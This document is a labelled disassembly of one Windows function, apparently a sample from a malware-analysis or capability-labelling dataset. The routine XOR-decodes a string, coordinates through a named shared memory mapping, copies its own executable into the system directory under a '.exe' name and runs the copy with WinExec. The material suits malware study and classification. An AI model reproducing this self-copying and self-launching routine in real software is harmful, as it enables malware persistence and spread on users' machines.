Function at 0x401931
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push edi
jmp 0x40194f
push 0x40312c
xor edi, edi
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x40198b
jmp 0x401984
mov dword [ebp - 0xc], 1
push ebx
push esi
jmp 0x4019af
cmp dword [ebp - 0xc], edi
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x403098
jne 0x401a5d
mov al, byte [0x403098]
and byte [0x403117], 0
test al, al
je 0x401a20
mov cl, al
mov eax, esi
xor cl, 0xf3
mov byte [eax], cl
jmp 0x4019e7
jmp 0x4019ef
xor byte [eax], 0x56
jmp 0x4019f9
jmp 0x401a12
jmp 0x401a18
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4019d7
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x1f
jle 0x401a36
lea eax, [eax + 0x403079]
push eax
push esi
call ebx
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push 0x4014db
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x403144], edi
jne 0x401a5d
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401a4b
and byte [ebp - 3], 0
mov byte [ebp - 7], 0x2e
jmp 0x401a6d
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x65
mov byte [ebp - 6], 0x65
jmp 0x401a81
mov edi, 0x644
push 0x403124
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x401aab
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401a86
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 0x10], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
je 0x401c05
cmp dword [ebp - 0xc], ecx
mov dword [0x403140], eax
jne 0x401c20
cmp dword [ebp - 0x10], ecx
je 0x401bcb
jmp 0x401afa
push edi
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x403140]
add esp, 0xc
mov dword [eax], 1
mov eax, dword [0x403140]
add eax, 4
push esi
push eax
call ebx
mov edi, 0x104
lea eax, [ebp - 0x218]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x114]
push 0x40311c
push eax
call edi
lea eax, [ebp - 0x114]
push esi
push eax
call edi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x114]
sub ecx, 4
add eax, ecx
cmp byte [eax], 0x2e
jne 0x401b7e
and byte [eax], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
lea eax, [ebp - 0x114]
push 0
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x114]
push 0x403120
push eax
call edi
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401c0e
jmp 0x401be4
mov eax, dword [0x403140]
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x401c05
inc ecx
push esi
mov dword [eax], ecx
mov eax, dword [0x403140]
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
call fcn.0040170e
pop ecx
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x10
jmp 0x401c3e
push dword [0x403140]
call fcn.0040124a
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401c3e